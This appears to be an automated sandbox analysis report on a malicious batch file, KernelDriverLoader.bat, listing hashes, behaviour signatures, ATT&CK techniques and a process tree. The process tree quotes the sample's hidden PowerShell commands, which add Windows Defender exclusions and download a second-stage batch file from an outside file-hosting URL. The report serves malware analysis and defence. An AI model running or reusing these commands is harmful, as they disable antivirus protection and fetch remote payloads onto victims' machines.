fe842f609e399712413f3eec680daa084345a386664679d55255179095f129da

Analysis

user interaction
yes
max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/09/2026, 19:38

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General

Target
KernelDriverLoader.bat
Size 1KB
Sample260920-ycejsa1vbz
SHA256 fe842f609e399712413f3eec680daa084345a386664679d55255179095f129da
MD5 c69174160cbe426dc64c0dd8549df184
SHA1 1a79f7999e98d9783747a01c1cc4b2a18176be56
SHA512 66ac7b0bbdab27f47b32e9141e9bc857739456739e1c12e060fba4e195b37d9152889244d9e8690661e2181db2cfa41a9264d53836d2e632c5c6a9a18dbdde77
TLSH
T1E431E1018B2157C8597F5EA8808323E0B79ED3EA0359EE9FD46145A43C0C9C78C9E8F9
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
16	4428	powershell.exe
37	4428	powershell.exe
64	4428	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3692	powershell.exe
4428	powershell.exe
3600	powershell.exe
3692	powershell.exe
4428	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3872	cmd.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3692	powershell.exe
3692	powershell.exe
4428	powershell.exe
4428	powershell.exe
3600	powershell.exe
3600	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3692	powershell.exe
Token: SeDebugPrivilege	4428	powershell.exe
Token: SeDebugPrivilege	3600	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3872 wrote to memory of 1384	3872	cmd.exe	87
PID 3872 wrote to memory of 3692	3872	cmd.exe	88
PID 3872 wrote to memory of 4428	3872	cmd.exe	93
PID 4428 wrote to memory of 3600	4428	powershell.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KernelDriverLoader.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3872
- C:\Windows\system32\fltMC.exe
  fLtMc
  2⤵
  PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" -NoProfile -WindowStyle Hidden -Command "aDd-MpPrEfeReNcE -ExClUsIoNpAtH 'C:\Users\Public\Documents\WindowsCache'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'pOwErShElL.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'cMd.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'wScRiPt.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.BaT'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.CmD'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.Ps1'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.SyS'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.DlL'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" /c powershell -NoProfile -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://file.garden/aq8jkB_uhFstvyCo/KernalDriverLoaderSYSinstall.bat' -OutFile 'C:\Users\Public\Documents\WindowsCache\svc.bat' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command Continue=SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3600

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2b98324b3679bdfc3c56f4c73452bd66683bd453e1f49e1bdde9c5c3fcc9472e
MD5 2749a36c2b278075380f504683bd5cee
SHA1 b9a979f925fb1eca0e9ae2d1d534e405b50fc76c
SHA512 995068fe85262ab552fa273f0b8302bdbadf1e1bbf16b21f416977f33f5f6f1a66b07a5de464ff77cf8a3f078bf22023f6a9db32a520a127ed098c3c7c4f8ffe
TLSH
T194112223F38C8920CC96163A509DAC5172B686CB81AEDF9F7FC0D210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b71479bef1049a9e96b98872a9c45d1ce68e638d3e83cb88a4ed448f19120c5b
MD5 99f0e3e763ef42fadf86cd2db6ef83f7
SHA1 242894837fa7f0e6c472f972f4dff487c995193b
SHA512 5e7e56a2a60b9eb9f45263b511d26a03d36a1983e1bdf21e3246fde474d20601db339c0647a6f6ac81ee81eede1585de122eaf6efd4e5ea76bb898c1aaef0ec8
TLSH
T16B115727B39CC9A1CC86153A409D9C1176B783DB41AEDEDF6FC0C214A57F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_ycboz0jq.52w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ycboz0jq.52w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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svc2.bat

Path C:\Users\Public\Documents\WindowsCache\svc2.bat
Size 562B
SHA256 065e63b9746b5b93c635fb75927057f7800ec7050d2a5f89f2cd5b2efbd5ad58
MD5 efee1577092bb62f93e05ff4491cf973
SHA1 d5ed6358d3a333e71e39b095316049b1b605249c
SHA512 641b28664335e7404a4f8835455b9bdb573c3665890a3296df9490c48804b8e05f9345fc12d003b07066bc8a477b8c2285c6bfa6b43d0ef16e83178327a7b145
TLSH
T13EF020730232518AE42B1C8194A737224AC641C6A22B3BB3B2400D0DFD01DAFAD71CEB
MD5 SHA1 SHA512 TLSH

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memory/3692-1-0x000002A679D50000-0x000002A679D60000-memory.dmp

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memory/3692-0-0x000002A679D50000-0x000002A679D60000-memory.dmp

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memory/3692-9-0x000002A679D00000-0x000002A679D22000-memory.dmp

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memory/4428-29-0x00000245FEC70000-0x00000245FEC80000-memory.dmp

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memory/4428-28-0x00000245FEC70000-0x00000245FEC80000-memory.dmp

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memory/4428-46-0x00000245FEC70000-0x00000245FEC80000-memory.dmp

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memory/4428-47-0x00000245FEC70000-0x00000245FEC80000-memory.dmp

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